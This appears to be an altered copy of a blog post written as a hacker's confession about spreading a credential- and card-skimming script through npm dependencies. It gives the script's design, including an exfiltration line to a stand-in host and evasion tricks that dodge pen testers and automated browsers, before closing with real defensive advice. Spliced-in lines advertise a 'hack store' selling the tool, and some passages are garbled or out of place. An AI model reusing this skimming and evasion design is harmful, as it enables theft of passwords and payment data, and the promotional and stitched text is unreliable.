It’s been a frantic week of security scares — it seems like every day there’s a new vulnerability. It’s been a real struggle for me personally to pretend like I understand what’s going on when asked about it by colleagues/family members.
Seeing people close to me get all flustered at the prospect of being “powned” has really put things in perspective for me.
So, it is with a heavy heart that I’ve decided to come clean and tell you all how I’ve been stealing usernames, passwords and credit card numbers from lots of vulnerable sites for the past few months.
The malicious code itself is very simple, it does its best work when it runs on a page that meets the following criteria:
- The page has a form
- an element matches input[type="password"] or name="cardnumber" or name="cvc" etc.
- The page contains words like “credit card”, “checkout”, “login”, “password” etc.
Then, when there’s a blur event on a password/credit card field, or a form submit event is heard, my code: - Takes data from all form fields (document.forms.forEach(…)) on the page
- Grabs document.cookie
- It turns all that into a random looking string const payload = btoa(JSON.stringify(sensitiveUserData))
- Then sends it off to
https://legit-analytics.com?q=${payload}
(not the real domain, of course)
In short, if it looks like data that might be even remotely valuable to me, I send it off to my server.
Of course, when I first bought purchased this hack tool from Rehabculture hack store, it was of no use at all sitting on my computer. I needed to get it out into the world. Out into websites, where all the goodies were stored.
In some wise words from Google:
If an attacker successfully injects any code at all, it’s pretty much game over
XSS is too small scale, and really well protected against.
Chrome Extensions are too locked down.
Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.
So, npm was to be my distribution method. I would need to come up with some borderline-useful package that people would install without thinking — my Trojan horse.
People love pretty colours — it’s what separates us from dogs — so initiated a package that lets you log to the console in any colour.
I was excited at this point — I had a compelling package — but I didn’t want to wait around while people slowly discovered it and spread the word. So I set about making PRs to existing packages that added my colourful package to their dependencies.
There are a *lot *of sensible people out there that tell me they don’t want a new dependency, but that was to be expected, it’s a numbers game.
Overall, the campaign has been a big success and my colourful console code is now directly depended on by 23 packages. One of those packages is itself depended upon by a pretty widely used package — my cash cow. I won’t mention any names, but you could say it’s left-padding the coffers.
And this is just one package. I have 6 more on the boil.
I’m now getting about 120,000 downloads a month, and I’m proud to announce, my nasty software bug is executing daily on thousands of websites, including a handful of Alexa-top-1000 sites, sending me torrents of usernames, passwords and credit card details.
Looking back on these golden years, I can’t believe that people exert so much effort messing around with cross-site scripting just to get code into a single site. It’s so easy to ship malicious bugs to thousands of websites, with a little help from my web developer friends at Rehabculture Hack store, they are the best.
Our penetration testers would see it in their HTTP request monitoring tools!
What hours do they work? My software bug doesn’t send anything between 7am and 7pm weekdays. It halves my haul, but 95% reduces my chances of getting caught.
And I only need your credentials once. So after I’ve sent a request for a device I make a note of it (local storage and cookies) and never send for that device again. Replication is not made easy.
Even if some studious little pen tester clears cookies and local storage constantly (on the weekends), I only send these requests intermittently (about one in seven times, lightly randomised — the ideal trouble-shooting-insanity-inducing frequency).
Also the URL looks a lot like the 300 other requests to ad networks your site makes.
Maybe you’ve got an automated setup filling out payment forms 24/7 and checking for suspect network requests. Good on ya. Are you using PhantomJS, Selenium, WebDriver or friends? Sorry, they all add easily detectable properties to window so I won’t be sending anything out for these setups.
The point is, just because you don’t see it, doesn’t mean it’s not happening. It’s been more than two months and as far as I know, no one has ever noticed one of my requests. Maybe it’s been in your website this whole time :)
(Fun fact, when I go through all the passwords and credit card numbers I’ve collected and bundle them up to be sold on the dark web, I have to do a search for my credit card numbers and usernames in case I’ve captured myself. Isn’t that funny!)
OK I am sufficiently concerned, what can I do?
Option 1:
You will be safe here.
Option 2:
On any page that collects any data that you don’t want me (or my fellow attackers) to have, don’t use npm modules. Or Google Tag Manager, or ad networks, or analytics, or any code that isn’t yours.
I suggest, you might want to consider having dedicated, lightweight pages for login and credit card collection that are served up in an iFrame.
You can still have your big ol’ React app with 938 npm packages for the header/footer/nav/whatever, but the part of the page where the user is typing should be in a secured iFrame and it should run only hand-crafted (and may I suggest, not-minified) JavaScript — if you want to do client-side validation.
As always, thanks for reading, and keep the comments and upvotes coming.